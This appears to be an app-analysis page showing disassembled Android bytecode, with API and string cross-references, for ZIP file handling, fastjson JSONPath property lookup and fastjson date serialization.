                                                180new-instance v27, Ljava/lang/StringBuffer;
                                                181move-object/from16 v30, v27
                                                182move-object/from16 v27, v30
                                                183move-object/from16 v28, v30
                                                185invoke-direct/range {v28 .. v28}, Ljava/lang/StringBuffer;-><init>()V
                                                186new-instance v28, Ljava/lang/StringBuffer;
                                                187move-object/from16 v30, v28
                                                188move-object/from16 v28, v30
                                                189move-object/from16 v29, v30
                                                191invoke-direct/range {v29 .. v29}, Ljava/lang/StringBuffer;-><init>()V
                                                193const-string v29, "Failed to rename \""
                                                195invoke-virtual/range {v28 .. v29}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                196move-result-object v28
                                                197move-object/from16 v29, v10
                                                199invoke-virtual/range {v29 .. v29}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                200move-result-object v29
                                                202invoke-virtual/range {v28 .. v29}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                203move-result-object v28
                                                205invoke-virtual/range {v28 .. v28}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                206move-result-object v28
                                                208invoke-virtual/range {v27 .. v28}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                209move-result-object v27
                                                211const-string v28, "\" to \""
                                                213invoke-virtual/range {v27 .. v28}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                214move-result-object v27
                                                216invoke-virtual/range {v27 .. v27}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                217move-result-object v27
                                                219invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                220move-result-object v26
                                                221move-object/from16 v27, v5
                                                223invoke-virtual/range {v27 .. v27}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                224move-result-object v27
                                                226invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                227move-result-object v26
                                                229invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                230move-result-object v26
                                                232invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                233move-result-object v25
                                                235const-string v26, "\""
                                                237invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                238move-result-object v25
                                                240invoke-virtual/range {v25 .. v25}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                241move-result-object v25
                                                243invoke-direct/range {v24 .. v25}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                244throw v23
                                                245try_end_164: move-exception v23
                                                246move-object/from16 v11, v23
                                                247move-object/from16 v23, v8
                                                249invoke-static/range {v23 .. v23}, Landroid/support/coreui/app/a/b;->closeQuietly(Ljava/io/Closeable;)V
                                                250move-object/from16 v23, v10
                                                252invoke-virtual/range {v23 .. v23}, Ljava/io/File;->delete()Z
                                                253move-result v23
                                                254move-object/from16 v23, v11
                                                255throw v23
                                                256cond_175: move-object/from16 v23, v9
                                                257move-object/from16 v24, v20
                                                258const/16 v25, 0x0
                                                259move/from16 v26, v21
                                                260try_start_17d:
                                                261invoke-virtual/range {v23 .. v26}, Ljava/util/zip/ZipOutputStream;->write([BII)V
                                                262move-object/from16 v23, v8
                                                263move-object/from16 v24, v20
                                                265invoke-virtual/range {v23 .. v24}, Ljava/io/InputStream;->read([B)I
                                                266try_end_187: move-result v23
                                                267move/from16 v21, v23
                                                268goto/16 :goto_a7
                                                269catchall_18c: move-exception v23
                                                270move-object/from16 v15, v23
                                                271move-object/from16 v23, v9
                                                272try_start_191:
                                                273invoke-virtual/range {v23 .. v23}, Ljava/util/zip/ZipOutputStream;->close()V
                                                274move-object/from16 v23, v15
                                                275throw v23
                                                276cond_197: move-object/from16 v23, v8
                                                278invoke-static/range {v23 .. v23}, Landroid/support/coreui/app/a/b;->closeQuietly(Ljava/io/Closeable;)V
                                                279move-object/from16 v23, v10
                                                281invoke-virtual/range {v23 .. v23}, Ljava/io/File;->delete()Z
                                                282move-result v23
                                                283return-void
                                                Cross References
                                                APIs
                                                • java.util.Map.get
                                                • java.lang.String.equals
                                                • java.util.Map.size
                                                • java.lang.Integer.valueOf
                                                • java.lang.Object.getClass
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONPathException.<init>
                                                • java.lang.String.equals
                                                • java.util.List.size
                                                • java.lang.Integer.valueOf
                                                • java.util.List.size
                                                • java.util.List.size
                                                • java.util.List.get
                                                • java.util.List.add
                                                • java.lang.String.equals
                                                • java.lang.Enum.name
                                                • java.lang.String.equals
                                                • java.lang.Enum.ordinal
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.equals
                                                • java.util.Calendar.get
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONPathException.<init>
                                                Strings
                                                • size
                                                • , segement
                                                • jsonpath error, path
                                                • name
                                                • ordinal
                                                • year
                                                • month
                                                • day
                                                • hour
                                                • minute
                                                • second
                                                Position Instruction Meta Information
                                                0if-nez p1, :cond_4
                                                1const/4 p1, 0x0
                                                2return-object p1
                                                3cond_4: instance-of v0, p1, Ljava/util/Map;
                                                5const-string v1, "size"
                                                6if-eqz v0, :cond_21
                                                7check-cast p1, Ljava/util/Map;
                                                9invoke-interface {p1, p2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                10move-result-object p3
                                                11if-nez p3, :cond_20
                                                13invoke-virtual {v1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                14move-result p2
                                                15if-eqz p2, :cond_20
                                                17invoke-interface {p1}, Ljava/util/Map;->size()I
                                                18move-result p1
                                                20invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                21move-result-object p3
                                                22cond_20: return-object p3
                                                23cond_21:
                                                24invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                25move-result-object v0
                                                27invoke-virtual {p0, v0}, Lcom/alibaba/fastjson/JSONPath;->getJavaBeanSerializer(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;
                                                28move-result-object v0
                                                30const-string v2, ", segement "
                                                32const-string v3, "jsonpath error, path "
                                                33if-eqz v0, :cond_52
                                                34try_start_2f:
                                                35invoke-virtual {v0, p1, p2}, Lcom/alibaba/fastjson/serializer/JavaBeanSerializer;->getFieldValue(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
                                                36move-result-object p1
                                                37try_end_33: return-object p1
                                                38catch_34: move-exception p1
                                                39new-instance p3, Lcom/alibaba/fastjson/JSONPathException;
                                                40new-instance v0, Ljava/lang/StringBuilder;
                                                42invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                44invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                46iget-object v1, p0, Lcom/alibaba/fastjson/JSONPath;->path:Ljava/lang/String;
                                                48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                50invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                52invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                55move-result-object p2
                                                57invoke-direct {p3, p2, p1}, Lcom/alibaba/fastjson/JSONPathException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                58throw p3
                                                59cond_52: instance-of v0, p1, Ljava/util/List;
                                                60if-eqz v0, :cond_86
                                                61check-cast p1, Ljava/util/List;
                                                63invoke-virtual {v1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                64move-result v0
                                                65if-eqz v0, :cond_67
                                                67invoke-interface {p1}, Ljava/util/List;->size()I
                                                68move-result p1
                                                70invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                71move-result-object p1
                                                72return-object p1
                                                73cond_67: new-instance v0, Lcom/alibaba/fastjson/JSONArray;
                                                75invoke-interface {p1}, Ljava/util/List;->size()I
                                                76move-result v1
                                                78invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONArray;-><init>(I)V
                                                79const/4 v1, 0x0
                                                80goto_71:
                                                81invoke-interface {p1}, Ljava/util/List;->size()I
                                                82move-result v2
                                                83if-ge v1, v2, :cond_85
                                                85invoke-interface {p1, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                86move-result-object v2
                                                88invoke-virtual {p0, v2, p2, p3}, Lcom/alibaba/fastjson/JSONPath;->getPropertyValue(Ljava/lang/Object;Ljava/lang/String;Z)Ljava/lang/Object;
                                                89move-result-object v2
                                                91invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                92add-int/lit8 v1, v1, 0x1
                                                93goto/16 :goto_71
                                                94cond_85: return-object v0
                                                95cond_86: instance-of p3, p1, Ljava/lang/Enum;
                                                96if-eqz p3, :cond_ab
                                                97move-object p3, p1
                                                98check-cast p3, Ljava/lang/Enum;
                                                100const-string v0, "name"
                                                102invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                103move-result v0
                                                104if-eqz v0, :cond_9a
                                                106invoke-virtual {p3}, Ljava/lang/Enum;->name()Ljava/lang/String;
                                                107move-result-object p1
                                                108return-object p1
                                                109cond_9a:
                                                110const-string v0, "ordinal"
                                                112invoke-virtual {v0, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                113move-result v0
                                                114if-eqz v0, :cond_ab
                                                116invoke-virtual {p3}, Ljava/lang/Enum;->ordinal()I
                                                117move-result p1
                                                119invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                120move-result-object p1
                                                121return-object p1
                                                122cond_ab: instance-of p3, p1, Ljava/util/Calendar;
                                                123if-eqz p3, :cond_120
                                                124check-cast p1, Ljava/util/Calendar;
                                                126const-string p3, "year"
                                                128invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                129move-result p3
                                                130if-eqz p3, :cond_c3
                                                131const/4 p2, 0x1
                                                133invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                134move-result p1
                                                136invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                137move-result-object p1
                                                138return-object p1
                                                139cond_c3:
                                                140const-string p3, "month"
                                                142invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                143move-result p3
                                                144if-eqz p3, :cond_d5
                                                145const/4 p2, 0x2
                                                147invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                148move-result p1
                                                150invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                151move-result-object p1
                                                152return-object p1
                                                153cond_d5:
                                                154const-string p3, "day"
                                                156invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                157move-result p3
                                                158if-eqz p3, :cond_e7
                                                159const/4 p2, 0x5
                                                161invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                162move-result p1
                                                164invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                165move-result-object p1
                                                166return-object p1
                                                167cond_e7:
                                                168const-string p3, "hour"
                                                170invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                171move-result p3
                                                172if-eqz p3, :cond_fa
                                                173const/16 p2, 0xb
                                                175invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                176move-result p1
                                                178invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                179move-result-object p1
                                                180return-object p1
                                                181cond_fa:
                                                182const-string p3, "minute"
                                                184invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                185move-result p3
                                                186if-eqz p3, :cond_10d
                                                187const/16 p2, 0xc
                                                189invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                190move-result p1
                                                192invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                193move-result-object p1
                                                194return-object p1
                                                195cond_10d:
                                                196const-string p3, "second"
                                                198invoke-virtual {p3, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                199move-result p3
                                                200if-eqz p3, :cond_120
                                                201const/16 p2, 0xd
                                                203invoke-virtual {p1, p2}, Ljava/util/Calendar;->get(I)I
                                                204move-result p1
                                                206invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                207move-result-object p1
                                                208return-object p1
                                                209cond_120: new-instance p1, Lcom/alibaba/fastjson/JSONPathException;
                                                210new-instance p3, Ljava/lang/StringBuilder;
                                                212invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
                                                214invoke-virtual {p3, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                216iget-object v0, p0, Lcom/alibaba/fastjson/JSONPath;->path:Ljava/lang/String;
                                                218invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                220invoke-virtual {p3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                222invoke-virtual {p3, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                224invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                225move-result-object p2
                                                227invoke-direct {p1, p2}, Lcom/alibaba/fastjson/JSONPathException;-><init>(Ljava/lang/String;)V
                                                228goto/16 :goto_13e
                                                229goto_13d: throw p1
                                                230goto_13e: goto/16 :goto_13d
                                                APIs
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeNull
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteDateUseDateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • java.text.SimpleDateFormat.<init>
                                                • java.text.DateFormat.setTimeZone
                                                • java.text.DateFormat.format
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeString
                                                • com.alibaba.fastjson.serializer.SerializerFeature.WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • java.lang.Object.getClass
                                                • java.lang.Object.getClass
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.util.Date.getTime
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeLong
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldName
                                                • java.lang.Object.getClass
                                                • java.lang.Class.getName
                                                • java.util.Date.getTime
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeFieldValue
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.util.Date.getTime
                                                • com.alibaba.fastjson.serializer.SerializerFeature.UseISO8601DateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializerFeature.UseSingleQuotes:Lcom/alibaba/fastjson/serializer/SerializerFeature
                                                • com.alibaba.fastjson.serializer.SerializeWriter.isEnabled
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.util.Calendar.getInstance
                                                • java.util.Calendar.setTimeInMillis
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.util.Calendar.get
                                                • java.lang.String.toCharArray
                                                • java.lang.String.toCharArray
                                                • java.lang.String.toCharArray
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • java.util.Calendar.getTimeZone
                                                • java.util.TimeZone.getRawOffset
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.format
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • java.lang.Integer.valueOf
                                                • java.lang.String.format
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • com.alibaba.fastjson.serializer.SerializeWriter.append
                                                • com.alibaba.fastjson.serializer.SerializeWriter.write
                                                • com.alibaba.fastjson.serializer.SerializeWriter.writeLong
                                                Strings
                                                • new Date(
                                                • val
                                                • 0000-00-00T00:00:00.000
                                                • 0000-00-00
                                                • 0000-00-00T00:00:00
                                                • %02d
                                                • :00
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Throws;
                                                1value = {
                                                2Ljava/io/IOException;
                                                3}
                                                4.end annotation
                                                5move-object/from16 v0, p1
                                                6move-object/from16 v1, p2
                                                8iget-object v2, v0, Lcom/alibaba/fastjson/serializer/JSONSerializer;->out:Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                9if-nez v1, :cond_c
                                                11invoke-virtual {v2}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeNull()V
                                                12return-void
                                                13cond_c: instance-of v3, v1, Ljava/util/Date;
                                                14if-eqz v3, :cond_14
                                                15move-object v3, v1
                                                16check-cast v3, Ljava/util/Date;
                                                17goto/16 :goto_18
                                                18cond_14:
                                                19invoke-static/range {p2 .. p2}, Lcom/alibaba/fastjson/util/TypeUtils;->castToDate(Ljava/lang/Object;)Ljava/util/Date;
                                                20move-result-object v3
                                                21goto_18:
                                                22sget-object v4, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteDateUseDateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                24invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                25move-result v4
                                                26if-eqz v4, :cond_3c
                                                28invoke-virtual/range {p1 .. p1}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->getDateFormat()Ljava/text/DateFormat;
                                                29move-result-object v1
                                                30if-nez v1, :cond_34
                                                31new-instance v1, Ljava/text/SimpleDateFormat;
                                                33sget-object v4, Lcom/alibaba/fastjson/JSON;->DEFFAULT_DATE_FORMAT:Ljava/lang/String;
                                                35iget-object v5, v0, Lcom/alibaba/fastjson/serializer/JSONSerializer;->locale:Ljava/util/Locale;
                                                37invoke-direct {v1, v4, v5}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
                                                39iget-object v0, v0, Lcom/alibaba/fastjson/serializer/JSONSerializer;->timeZone:Ljava/util/TimeZone;
                                                41invoke-virtual {v1, v0}, Ljava/text/DateFormat;->setTimeZone(Ljava/util/TimeZone;)V
                                                42cond_34:
                                                43invoke-virtual {v1, v3}, Ljava/text/DateFormat;->format(Ljava/util/Date;)Ljava/lang/String;
                                                44move-result-object v0
                                                46invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeString(Ljava/lang/String;)V
                                                47return-void
                                                48cond_3c:
                                                49sget-object v4, Lcom/alibaba/fastjson/serializer/SerializerFeature;->WriteClassName:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                51invoke-virtual {v2, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                52move-result v4
                                                53if-eqz v4, :cond_91
                                                55invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                56move-result-object v4
                                                57move-object/from16 v5, p4
                                                58if-eq v4, v5, :cond_91
                                                60invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                61move-result-object v3
                                                62const-class v4, Ljava/util/Date;
                                                63if-ne v3, v4, :cond_69
                                                65const-string v0, "new Date("
                                                67invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(Ljava/lang/String;)V
                                                68move-object v0, v1
                                                69check-cast v0, Ljava/util/Date;
                                                71invoke-virtual {v0}, Ljava/util/Date;->getTime()J
                                                72move-result-wide v0
                                                74invoke-virtual {v2, v0, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeLong(J)V
                                                75const/16 v0, 0x29
                                                77invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                78goto/16 :goto_90
                                                79cond_69: const/16 v3, 0x7b
                                                81invoke-virtual {v2, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                83sget-object v3, Lcom/alibaba/fastjson/JSON;->DEFAULT_TYPE_KEY:Ljava/lang/String;
                                                85invoke-virtual {v2, v3}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldName(Ljava/lang/String;)V
                                                87invoke-virtual/range {p2 .. p2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                88move-result-object v3
                                                90invoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                91move-result-object v3
                                                93invoke-virtual {v0, v3}, Lcom/alibaba/fastjson/serializer/JSONSerializer;->write(Ljava/lang/String;)V
                                                94const/16 v0, 0x2c
                                                95check-cast v1, Ljava/util/Date;
                                                97invoke-virtual {v1}, Ljava/util/Date;->getTime()J
                                                98move-result-wide v3
                                                100const-string v1, "val"
                                                102invoke-virtual {v2, v0, v1, v3, v4}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->writeFieldValue(CLjava/lang/String;J)V
                                                103const/16 v0, 0x7d
                                                105invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                106goto_90: return-void
                                                107cond_91:
                                                108invoke-virtual {v3}, Ljava/util/Date;->getTime()J
                                                109move-result-wide v3
                                                111sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseISO8601DateFormat:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                113invoke-virtual {v2, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                114move-result v1
                                                115if-eqz v1, :cond_18d
                                                117sget-object v1, Lcom/alibaba/fastjson/serializer/SerializerFeature;->UseSingleQuotes:Lcom/alibaba/fastjson/serializer/SerializerFeature;
                                                119invoke-virtual {v2, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->isEnabled(Lcom/alibaba/fastjson/serializer/SerializerFeature;)Z
                                                120move-result v1
                                                121if-eqz v1, :cond_a8
                                                122const/16 v1, 0x27
                                                123goto/16 :goto_aa
                                                124cond_a8: const/16 v1, 0x22
                                                125goto_aa:
                                                126invoke-virtual {v2, v1}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                128iget-object v5, v0, Lcom/alibaba/fastjson/serializer/JSONSerializer;->timeZone:Ljava/util/TimeZone;
                                                130iget-object v0, v0, Lcom/alibaba/fastjson/serializer/JSONSerializer;->locale:Ljava/util/Locale;
                                                132invoke-static {v5, v0}, Ljava/util/Calendar;->getInstance(Ljava/util/TimeZone;Ljava/util/Locale;)Ljava/util/Calendar;
                                                133move-result-object v0
                                                135invoke-virtual {v0, v3, v4}, Ljava/util/Calendar;->setTimeInMillis(J)V
                                                136const/4 v3, 0x1
                                                138invoke-virtual {v0, v3}, Ljava/util/Calendar;->get(I)I
                                                139move-result v4
                                                140const/4 v5, 0x2
                                                142invoke-virtual {v0, v5}, Ljava/util/Calendar;->get(I)I
                                                143move-result v5
                                                144add-int/2addr v5, v3
                                                145const/4 v6, 0x5
                                                147invoke-virtual {v0, v6}, Ljava/util/Calendar;->get(I)I
                                                148move-result v6
                                                149const/16 v7, 0xb
                                                151invoke-virtual {v0, v7}, Ljava/util/Calendar;->get(I)I
                                                152move-result v7
                                                153const/16 v8, 0xc
                                                155invoke-virtual {v0, v8}, Ljava/util/Calendar;->get(I)I
                                                156move-result v8
                                                157const/16 v9, 0xd
                                                159invoke-virtual {v0, v9}, Ljava/util/Calendar;->get(I)I
                                                160move-result v10
                                                161const/16 v11, 0xe
                                                163invoke-virtual {v0, v11}, Ljava/util/Calendar;->get(I)I
                                                164move-result v11
                                                165const/16 v12, 0x10
                                                166const/16 v13, 0x13
                                                167const/16 v3, 0xa
                                                168if-eqz v11, :cond_108
                                                170const-string v16, "0000-00-00T00:00:00.000"
                                                172invoke-virtual/range {v16 .. v16}, Ljava/lang/String;->toCharArray()[C
                                                173move-result-object v14
                                                174const/16 v15, 0x17
                                                176invoke-static {v11, v15, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                178invoke-static {v10, v13, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                180invoke-static {v8, v12, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                182invoke-static {v7, v9, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                184invoke-static {v6, v3, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                185const/4 v11, 0x7
                                                187invoke-static {v5, v11, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                188const/4 v15, 0x4
                                                190invoke-static {v4, v15, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                191goto/16 :goto_13a
                                                192cond_108: const/4 v11, 0x7
                                                193const/4 v15, 0x4
                                                194if-nez v10, :cond_120
                                                195if-nez v8, :cond_120
                                                196if-nez v7, :cond_120
                                                198const-string v7, "0000-00-00"
                                                200invoke-virtual {v7}, Ljava/lang/String;->toCharArray()[C
                                                201move-result-object v14
                                                203invoke-static {v6, v3, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                205invoke-static {v5, v11, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                207invoke-static {v4, v15, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                208goto/16 :goto_13a
                                                209cond_120:
                                                210const-string v11, "0000-00-00T00:00:00"
                                                212invoke-virtual {v11}, Ljava/lang/String;->toCharArray()[C
                                                213move-result-object v14
                                                215invoke-static {v10, v13, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                217invoke-static {v8, v12, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                219invoke-static {v7, v9, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                221invoke-static {v6, v3, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                222const/4 v3, 0x7
                                                224invoke-static {v5, v3, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                225const/4 v3, 0x4
                                                227invoke-static {v4, v3, v14}, Lcom/alibaba/fastjson/util/IOUtils;->getChars(II[C)V
                                                228goto_13a:
                                                229invoke-virtual {v2, v14}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write([C)V
                                                231invoke-virtual {v0}, Ljava/util/Calendar;->getTimeZone()Ljava/util/TimeZone;
                                                232move-result-object v0
                                                234invoke-virtual {v0}, Ljava/util/TimeZone;->getRawOffset()I
                                                235move-result v0
                                                236const v3, 0x36ee80
                                                237div-int/2addr v0, v3
                                                238if-nez v0, :cond_151
                                                239const/16 v0, 0x5a
                                                241invoke-virtual {v2, v0}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->write(I)V
                                                242goto/16 :goto_189
                                                243cond_151: const/4 v3, 0x0
                                                245const-string v4, "%02d"
                                                246if-lez v0, :cond_16d
                                                247const/16 v5, 0x2b
                                                249invoke-virtual {v2, v5}, Lcom/alibaba/fastjson/serializer/SerializeWriter;->append(C)Lcom/alibaba/fastjson/serializer/SerializeWriter;
                                                250move-result-object v5
                                                251const/4 v6, 0x1
                                                252new-array v6, v6, [Ljava/lang/Object;
                                                254invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                255move-result-object v0
